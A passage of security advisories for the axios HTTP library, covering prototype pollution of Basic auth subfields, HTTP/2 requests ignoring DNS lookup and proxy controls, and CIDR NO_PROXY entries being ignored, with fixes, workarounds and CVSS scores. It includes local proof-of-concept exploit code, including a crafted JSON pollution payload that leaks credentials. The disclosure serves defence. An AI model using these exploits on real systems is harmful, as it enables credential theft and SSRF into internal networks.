attacker and a partial real auth object with a missing polluted subfield. ##### Affected Functionality Affected functionality: - Node HTTP adapter Basic auth handling in `lib/adapters/http.js`. - Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`. - Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties. Unaffected or not accepted as core impact: - Requests with no own `auth` object after `mergeConfig()`. - Requests with own `auth.username` and `auth.password` values. - Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening. - Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary. ##### Technical Details `mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`. In `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly: ```js const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain. The same pattern exists in `lib/helpers/resolveConfig.js`: ```js if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ``` The fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere. ##### Proof of Concept of Attack Safe local PoC against published `axios@1.16.1`: ```js const http = require('node:http'); const axios = require('axios'); Object.prototype.username = 'victim-user'; Object.prototype.password = 'victim-password-leaked'; const server = http.createServer((req, res) => { console.log({ url: req.url, authorization: req.headers.authorization || null }); res.end('{}'); server.close(() => { delete Object.prototype.username; delete Object.prototype.password; }); }); server.listen(0, '127.0.0.1', async () => { await axios.get(`http://127.0.0.1:${server.address().port}/api`, { auth: {} }); }); ``` Expected output: ```json { "url": "/api", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` The base64 value decodes to `victim-user:victim-password-leaked`. ##### Workarounds Avoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values. Applications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`. Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields. <details> <summary>Original Report</summary> ##### Summary After [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #&#8203;10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in [PR #&#8203;10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`. When a polluted host process makes an axios call with the common "optional override" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic <base64>` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24) as well as the released `v1.16.1`. ##### Details **Three still-unguarded read sites** on `main` HEAD: **(1) `lib/adapters/http.js` lines 737–740** (Node http adapter): ```js const configAuth = own('auth'); // ← top-level guard OK if (configAuth) { const username = configAuth.username || ''; // ← reads .username on the inherited chain const password = configAuth.password || ''; // ← reads .password on the inherited chain auth = username + ':' + password; } ``` `own('auth')` correctly applies `hasOwnProp` to the top-level `auth` key. But once `configAuth` is the empty object the caller passed (`auth: {}`), `configAuth.username` walks the prototype chain and picks up `Object.prototype.username`. Contrast with the proxy-auth path that PR #&#8203;10833 fixed (lines 322–324): ```js const authUsername = authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; const authPassword = authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; ``` This is the exact pattern needed at lines 739–740 too. **(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver): ```js const auth = own('auth'); // ← top-level guard OK ... btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) // ^ .username and .password read directly on `auth`, no hasOwnProp guard ``` Same shape — top-level guarded, sub-fields walk prototype. **(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer): ```js newConfig.url = buildURL( buildFullPath(baseURL, url, allowAbsoluteUrls), config.params, // ← direct read, not through own() config.paramsSerializer // ← direct read, not through own() ); ``` This third site is already proposed for fix in **open** [PR #&#8203;10922](https://github.com/axios/axios/pull/10922) by @&#8203;Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #&#8203;10922 does **not** cover. ##### PoC This PoC contains zero direct `Object.prototype.x = y` writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads, still walks `constructor.prototype`). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via `__proto__` and is more common in real codebases than any named utility. ```js #!/usr/bin/env node 'use strict'; const http = require('node:http'); const axios = require('axios'); const defaultsDeep = require('defaults-deep'); // Defensive: scrub any prior pollution const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer']; function scrub() { for (const k of PROTO_KEYS) { try { delete Object.prototype[k]; } catch (_) {} } } scrub(); // 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST const attackerBody = JSON.parse(`{ "constructor": { "prototype": { "username": "victim-user", "password": "victim-password-leaked", "params": {"leak": "ATTACKER_QUERY_TOKEN"} } } }`); // 2) Realistic application pattern: merge user options into defaults const appDefaults = { timeout: 5000 }; defaultsDeep(appDefaults, attackerBody); // After this line: // Object.prototype.username === "victim-user" // Object.prototype.password === "victim-password-leaked" // Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" } // 3) Capture outbound request on a local listener const server = http.createServer((req, res) => { console.log('=== captured outbound request ==='); console.log(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, }, null, 2)); res.end('{}'); server.close(); scrub(); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // 4) Realistic application wrapper: optional per-call overrides. // `auth: opts.auth || {}` is the common pattern — empty own object, // but inherited values walk the prototype chain. function makeRequest(targetUrl, opts = {}) { return axios.get(targetUrl, { timeout: 5000, auth: opts.auth || {}, params: opts.params || {}, }); } makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => { console.error('axios error:', e.message); scrub(); process.exit(1); }); }); ``` Reproduction: ```bash mkdir /tmp/axios-poc && cd /tmp/axios-poc npm init -y npm install axios@1.16.1 defaults-deep@0.2.4 node /path/to/poc.cjs ``` Captured output (verified against released `1.16.1` AND against `main` at `34723be`, 2026-05-24): ```json { "method": "GET", "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` `dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to `victim-user:victim-password-leaked`. The querystring carries `?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel in real chains (CSRF token, session cookie via `req.headers`, etc.). ##### Impact - **Credential exfiltration** via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. - **Outbound request-shape control** via inherited `params` / `paramsSerializer`. With `paramsSerializer` polluted to an attacker function, axios will execute that function with each `params` invocation — same-process code execution from a pollution primitive. - **Amplifier framing** is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without `__proto__`/`constructor` filtering, then uses the empty- fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`." Both halves are very common in real codebases (we tested `defaults-deep`, hand-rolled merges, and several lodash-family utilities; many still pollute). - **CWE-1321** (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). ##### Proposed fix Two-line change in `http.js`, matching the proxy-auth pattern PR #&#8203;10833 already established: ```diff --- a/lib/adapters/http.js +++ b/lib/adapters/http.js @@ -737,8 +737,10 @@ const configAuth = own('auth'); if (configAuth) { - const username = configAuth.username || ''; - const password = configAuth.password || ''; + const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : ''; + const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : ''; auth = username + ':' + password; } ``` Same pattern in `resolveConfig.js`: ```diff --- a/lib/helpers/resolveConfig.js +++ b/lib/helpers/resolveConfig.js @@ -64,7 +64,11 @@ // HTTP basic authentication if (auth) { + const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : ''; + const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : ''; headers.set( 'Authorization', 'Basic ' + - btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) + btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : '')) ); } ``` The **`params` / `paramsSerializer`** half is already handled by open PR #&#8203;10922's `own('params')` / `own('paramsSerializer')` change — that PR should be rebased / merged. ##### Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: - [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #&#8203;10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.** - [PR #&#8203;10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.** - [PR #&#8203;10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.** - [PR #&#8203;7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.** - [PR #&#8203;10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.** - [PR #&#8203;10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.** This report adds: regular-request `auth.username` / `auth.password` sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). ##### Reporter notes - Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md). - I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #&#8203;10922 (whose author is actively responding to comments), please let me know and I'll coordinate. - Threat model honesty: this is **amplifier framing** — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #&#8203;10833 were framed too, so the precedent for "in-scope as a hardening fix" is established. </details> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g](https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67314](https://nvd.nist.gov/vuln/detail/CVE-2026-67314) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields](https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xj6q-8x83-jv6g) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls [CVE-2026-101898](https://nvd.nist.gov/vuln/detail/CVE-2026-101898) / [GHSA-3pq3-5fj3-cg6v](https://github.com/advisories/GHSA-3pq3-5fj3-cg6v) <details> <summary>More information</summary> #### Details ##### Summary Axios for Node.js does not apply configured DNS lookup or proxy controls when a request uses `httpVersion: 2`. The HTTP/1 adapter path wraps and forwards `config.lookup`, builds normal request options, and applies proxy routing through `setProxy()`. The HTTP/2 path builds a session with `http2.connect()` using only `options.http2Options`, which drops the top-level `lookup`, `agent`, and proxy state. Applications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios `lookup` or proxy routing to prevent SSRF or enforce outbound network policy. ##### Impact In affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems. This is not an unconditional SSRF in every axios deployment. It requires `httpVersion: 2` and an application-level trust boundary where user-influenced URLs are constrained by `lookup` or proxy policy. ##### Affected Functionality Affected: - Node.js HTTP adapter with `httpVersion: 2`. - `config.lookup` supplied as a DNS policy. - Explicit `config.proxy` and environment-derived proxy settings for HTTPS HTTP/2 requests. Not affected: - Browser adapters. - Node HTTP/1 requests, which pass `lookup` to the transport and apply proxy handling. - Applications that validate destination hosts independently before calling axios. ##### Technical Details In `lib/adapters/http.js`, the adapter reads `lookup`, wraps it, stores it on the request `options`, and applies `setProxy()` before selecting a transport. For HTTP/2, `http2Transport.request()` builds an authority from `options.protocol`, `options.hostname`, and `options.port`, then calls: ```js const { http2Options, headers } = options; const session = http2Sessions.getSession(authority, http2Options); ``` `lib/helpers/Http2Sessions.js` ultimately calls `http2.connect(authority, options)` with only the `http2Options` object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call. Local verification on axios `1.18.1` showed `lookupCalls: 0` while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic. ##### Proof of Concept of Attack Local constrained demonstration: 1. Start an HTTP/2 server on loopback. 2. Call `axios.get("http://localhost:<port>/internal", { httpVersion: 2, lookup })` where `lookup` throws `EPOLICY`. 3. Observe that the request succeeds and the lookup counter remains `0`. For proxy routing: 1. Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT. 2. Call axios with `httpVersion: 2`, `http2Options: { rejectUnauthorized: false }`, and explicit `proxy`. 3. Observe that the origin receives the request and the proxy receives nothing. Expected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request. ##### Workarounds Use the HTTP/1 adapter path for requests that depend on axios `lookup` or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path. <details> <summary><h3>Original report</h3></summary> ### Summary I found that Axios does not apply the configured `lookup` function or proxy when a request uses `httpVersion: 2`. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL's hostname using `http2.connect()`. This matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block. I reproduced this on the current npm release, Axios 1.18.1. ##### Details The HTTP adapter reads and wraps the caller's `lookup` function, builds the normal request options, and calls `setProxy()`: - `lib/adapters/http.js`, around lines 530-578: reads and wraps `lookup` - `lib/adapters/http.js`, around lines 895-954: adds `lookup` to `options` and applies `setProxy()` For HTTP/2, however, the adapter selects `http2Transport`. That transport creates an authority from the destination and only passes `options.http2Options` to the session pool: ```js const { http2Options, headers } = options; const session = http2Sessions.getSession(authority, http2Options); ``` `lib/helpers/Http2Sessions.js` then calls: ```js const session = http2.connect(authority, options); ``` At this point `options` is only the `http2Options` object. The top-level `lookup`, the proxy tunnelling agent created by `setProxy()`, and the selected `httpAgent`/`httpsAgent` are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin. The same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment variables. ##### PoC I attached [axios_http2_transport_controls_poc.mjs](https://drive.google.com/file/d/1lKXBOLDoysOFRmaRyV1tMVLx3P0Ah4gV/view?usp=sharing). The PoC is entirely local and sets up three pieces: 1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns `REACHED_BLOCKED_ORIGIN`. 2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with `502 Bad Gateway`. 3. A custom Axios `lookup` callback that rejects every DNS lookup with an `EPOLICY` error. The first request is an HTTP/1 control request. It uses the blocking `lookup` callback and has proxying disabled. Axios calls the callback, receives `EPOLICY`, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path. The second request targets the same URL with `httpVersion: 2`. It is given both security controls: the same blocking `lookup` callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with `EPOLICY`, or it should reach the proxy and receive its `502` response. Instead, the request returns HTTP 200 with `REACHED_BLOCKED_ORIGIN`. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver. To reproduce, run the attachment from the root of an Axios checkout: Run it from the root of an Axios checkout: ```bash git checkout v1.18.1 npm install --ignore-scripts node /path/to/axios_http2_transport_controls_poc.mjs ``` Relevant output from my run: ```json { "axiosVersion": "1.18.1", "configuredControls": { "lookup": "reject every DNS lookup with EPOLICY", "proxy": "http://127.0.0.1:<port> (reject every request)" }, "http1Control": "EPOLICY: blocked by application DNS policy", "http2Result": { "status": 200, "data": "REACHED_BLOCKED_ORIGIN" }, "lookupCalls": 1, "proxyObservedTraffic": false, "events": [ { "server": "origin", "protocol": "h2", "path": "/internal" } ] } ``` The important parts of the output are: - `http1Control` contains `EPOLICY`, proving the DNS policy blocks the destination under HTTP/1. - `lookupCalls` is still `1` after both requests, proving HTTP/2 never called the configured resolver. - `proxyObservedTraffic` is `false`, proving HTTP/2 did not use the configured proxy. - `http2Result.status` is `200`, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination. ##### Impact The vulnerable configuration is a Node.js application that: - enables Axios HTTP/2 using `httpVersion: 2`; - lets an application user influence the request destination; and - relies on Axios's `lookup` option or proxy routing to enforce a destination or egress policy. In that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability. HTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that `lookup` and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios's threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation. I did not test against any third-party or production service. The PoC only uses listeners on my own machine. </details> --- #### Severity - CVSS Score: 7.0 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-3pq3-5fj3-cg6v](https://github.com/axios/axios/security/advisories/GHSA-3pq3-5fj3-cg6v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101898](https://nvd.nist.gov/vuln/detail/CVE-2026-101898) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3pq3-5fj3-cg6v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges [CVE-2026-101899](https://nvd.nist.gov/vuln/detail/CVE-2026-101899) / [GHSA-44g4-m2mj-wpvx](https://github.com/advisories/GHSA-44g4-m2mj-wpvx) <details> <summary>More information</summary> #### Details ##### Summary Axios supports proxy environment variables and evaluates `NO_PROXY` exclusions in the Node.js adapter. CIDR-form `NO_PROXY` entries such as `127.0.0.0/8`, `10.0.0.0/8`, or `169.254.169.254/32` are not interpreted as IP ranges. As a result, a request to an IP address inside a configured CIDR exclusion can still be sent through the configured proxy. This affects deployments that rely on CIDR notation to keep loopback, private, Kubernetes, CI, or cloud metadata traffic away from proxy infrastructure. ##### Impact If the configured proxy is outside the intended trust boundary, requests that operators expected to bypass the proxy may be exposed to it. For plaintext HTTP targets, the proxy can see and modify URLs, headers, and bodies. For HTTPS targets, the proxy still observes connection metadata and may receive CONNECT requests that policy expected to avoid. This is a proxy exclusion bypass, not arbitrary proxy injection by itself. ##### Affected Functionality Affected: - Node.js adapter proxy environment handling. - `HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`, or lowercase equivalents. - CIDR entries in `NO_PROXY`. Not affected: - Exact host or exact IP `NO_PROXY` entries where axios matching succeeds. - Requests configured with `proxy: false`. - Browser adapters. ##### Technical Details `lib/helpers/shouldBypassProxy.js` parses each `NO_PROXY` entry into a host and optional port, normalizes hostnames, and then compares exact hostnames, suffix entries, wildcard-prefix entries, and loopback equivalents. It does not parse CIDR notation. Local verification on axios `1.18.1`: ```js process.env.NO_PROXY = '127.0.0.0/8'; shouldBypassProxy('http://127.0.0.1:1234/'); // false ``` The expected result for CIDR-aware bypass policy is `true`. ##### Proof of Concept of Attack Constrained local demonstration: 1. Set `HTTP_PROXY=http://127.0.0.1:<proxy-port>`. 2. Set `NO_PROXY=127.0.0.0/8`. 3. Request `http://127.0.0.1:<internal-port>/metadata`. 4. Observe that axios sends the request through the proxy instead of directly to the internal listener. ##### Workarounds Use exact host or IP entries in `NO_PROXY` for sensitive destinations until CIDR matching is fixed, for example `127.0.0.1,localhost,169.254.169.254`. For individual requests that must not use a proxy, set `proxy: false`. <details> <summary><h3>Original report</h3></summary> ##### Summary Axios 1.17.0 honors `HTTP_PROXY` / `HTTPS_PROXY` and supports `NO_PROXY` host exclusions, but CIDR-form `NO_PROXY` entries such as `127.0.0.0/8` are not treated as network ranges. As a result, requests to IPs covered by a configured CIDR exclusion may still be sent through the configured proxy. In the attached PoC, a request to `127.0.0.1` is sent through `HTTP_PROXY` despite `NO_PROXY=127.0.0.0/8`. This can cause proxy exclusion bypass in environments where operators use CIDR notation to exclude loopback, private, internal, Kubernetes, CI, or cloud metadata address ranges from proxying. ##### Details Axios supports proxy environment variables, including `HTTP_PROXY` / `HTTPS_PROXY` and `NO_PROXY`-style exclusions. Axios’s threat model treats environment proxy handling as security-relevant and lists `NO_PROXY` as a mitigation for proxy environment variable hijack, including hardening for CIDR ranges, IPv6 literals, and wildcard patterns. See: https://github.com/axios/axios/blob/a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b/THREATMODEL.md#t-r9-proxy-environment-variable-hijack The issue is that CIDR-form `NO_PROXY` entries are not interpreted as network ranges. For example: ```text NO_PROXY=127.0.0.0/8 HTTP_PROXY=http://127.0.0.1:<proxy-port> Target URL=http://127.0.0.1:<internal-port>/metadata ``` Since `127.0.0.1` is inside `127.0.0.0/8`, an operator may reasonably expect Axios to bypass the proxy for this request. Instead, Axios sends the request through `HTTP_PROXY`. This appears to affect the proxy bypass decision path used for `NO_PROXY` / `no_proxy` handling. The relevant behavior is in Axios's Node proxy handling and `NO_PROXY` evaluation logic, including the `shouldBypassProxy` helper introduced for `no_proxy` hostname normalization and bypass checks. The issue is not that Axios ignores `NO_PROXY` entirely. Exact host exclusions work. The issue is specifically that CIDR-form exclusions are silently treated as non-matching host/domain tokens rather than as network ranges, causing the request to be proxied. This is security-relevant because CIDR notation is commonly used in container, CI, enterprise proxy, and cloud environments for ranges such as: ```text 127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 169.254.169.254/32 ``` If operators rely on those entries to prevent internal or metadata-style requests from traversing a proxy, Axios may violate that expectation. ##### PoC ```js import http from 'http'; import axios from 'axios'; function listen(server, host) { return new Promise((resolve, reject) => { server.once('error', reject); server.listen(0, host, () => resolve(server.address().port)); }); } function close(server) { return new Promise((resolve) => server.close(resolve)); } let proxyHits = 0; let internalHits = 0; const internal = http.createServer((req, res) => { internalHits += 1; res.writeHead(200, { 'content-type': 'text/plain' }); res.end(`internal service saw ${req.url}`); }); const proxy = http.createServer((req, res) => { proxyHits += 1; res.writeHead(200, { 'content-type': 'text/plain' }); res.end(`proxy saw request for ${req.url}`); }); const internalHost = process.env.POC_INTERNAL_HOST || '127.0.0.2'; const proxyHost = process.env.POC_PROXY_HOST || '127.0.0.1'; let internalPort; let proxyPort; try { internalPort = await listen(internal, internalHost); proxyPort = await listen(proxy, proxyHost); } catch (error) { console.error('Failed to bind local PoC servers.'); console.error('On some systems 127.0.0.2 is unavailable; try:'); console.error(' POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs'); console.error(''); throw error; } const targetUrl = `http://${internalHost}:${internalPort}/metadata`; const proxyUrl = `http://${proxyHost}:${proxyPort}`; const noProxy = process.env.POC_NO_PROXY || '127.0.0.0/8'; process.env.http_proxy = proxyUrl; process.env.HTTP_PROXY = proxyUrl; process.env.no_proxy = noProxy; process.env.NO_PROXY = noProxy; console.log('Axios NO_PROXY CIDR full axios network PoC'); console.log(`axios VERSION=${axios.VERSION || 'unknown'}`); console.log(`NO_PROXY=${process.env.no_proxy}`); console.log(`HTTP_PROXY=${process.env.http_proxy}`); console.log(`Target URL=${targetUrl}`); console.log(''); try { const response = await axios.get(targetUrl, { timeout: 2000, }); console.log(`Response=${response.data}`); console.log(`Proxy hits=${proxyHits}`); console.log(`Internal direct hits=${internalHits}`); console.log(''); if (proxyHits > 0 && internalHits === 0) { console.log(`POC RESULT: axios sent the target through the proxy with NO_PROXY=${noProxy}.`); } else if (proxyHits === 0 && internalHits > 0) { console.log(`POC RESULT: axios bypassed the proxy with NO_PROXY=${noProxy}.`); } else { console.log('POC RESULT: mixed/ambiguous routing; inspect counts above.'); } } finally { delete process.env.http_proxy; delete process.env.HTTP_PROXY; delete process.env.no_proxy; delete process.env.NO_PROXY; await close(proxy); await close(internal); } ``` Run the failing CIDR case: ```bash POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs ``` Observed: ```text Axios NO_PROXY CIDR full axios network PoC axios VERSION=1.17.0 NO_PROXY=127.0.0.0/8 HTTP_PROXY=http://127.0.0.1:34315 Target URL=http://127.0.0.1:43993/metadata Response=proxy saw request for http://127.0.0.1:43993/metadata Proxy hits=1 Internal direct hits=0 POC RESULT: axios sent the target through the proxy with NO_PROXY=127.0.0.0/8. ``` ##### Control Axios does honor exact IP `NO_PROXY` entries: ```bash POC_INTERNAL_HOST=127.0.0.1 POC_NO_PROXY=127.0.0.1 node poc-no-proxy-cidr-axios.mjs ``` Expected: ```text NO_PROXY=127.0.0.1 Response=internal service saw /metadata Proxy hits=0 Internal direct hits=1 POC RESULT: axios bypassed the proxy with NO_PROXY=127.0.0.1. ``` This shows the issue is not that `NO_PROXY` is ignored entirely. The bypass failure is specific to CIDR-form entries such as `127.0.0.0/8`. ##### Impact This is a proxy exclusion bypass caused by unsupported CIDR matching in `NO_PROXY`. The impact is configuration-dependent. It affects Axios users in Node.js environments who rely on proxy environment variables and configure `NO_PROXY` using CIDR notation to exclude internal, loopback, private, Kubernetes, CI, or cloud metadata ranges. Potentially impacted environments include: - CI/CD runners with globally injected `HTTP_PROXY` / `HTTPS_PROXY`. - Containers inheriting proxy variables from the host or orchestrator. - Kubernetes workloads using `NO_PROXY` for cluster-internal service ranges. - Enterprise networks using HTTP proxies with internal network exclusions. - Cloud workloads relying on `NO_PROXY` to keep metadata or internal service requests off proxy infrastructure. If a configured proxy is compromised, attacker-controlled, overly broad, or outside the intended trust boundary, requests that operators expected to stay direct may instead be exposed to that proxy. This may expose request URLs, internal hostnames, paths, headers, or credentials depending on application behavior. This should not be characterized as arbitrary proxy injection by itself. The issue is that Axios silently fails to enforce common CIDR-form proxy exclusions, which can undermine proxy bypass policy and defense-in-depth assumptions. </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-44g4-m2mj-wpvx](https://github.com/axios/axios/security/advisories/GHSA-44g4-m2mj-wpvx) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by 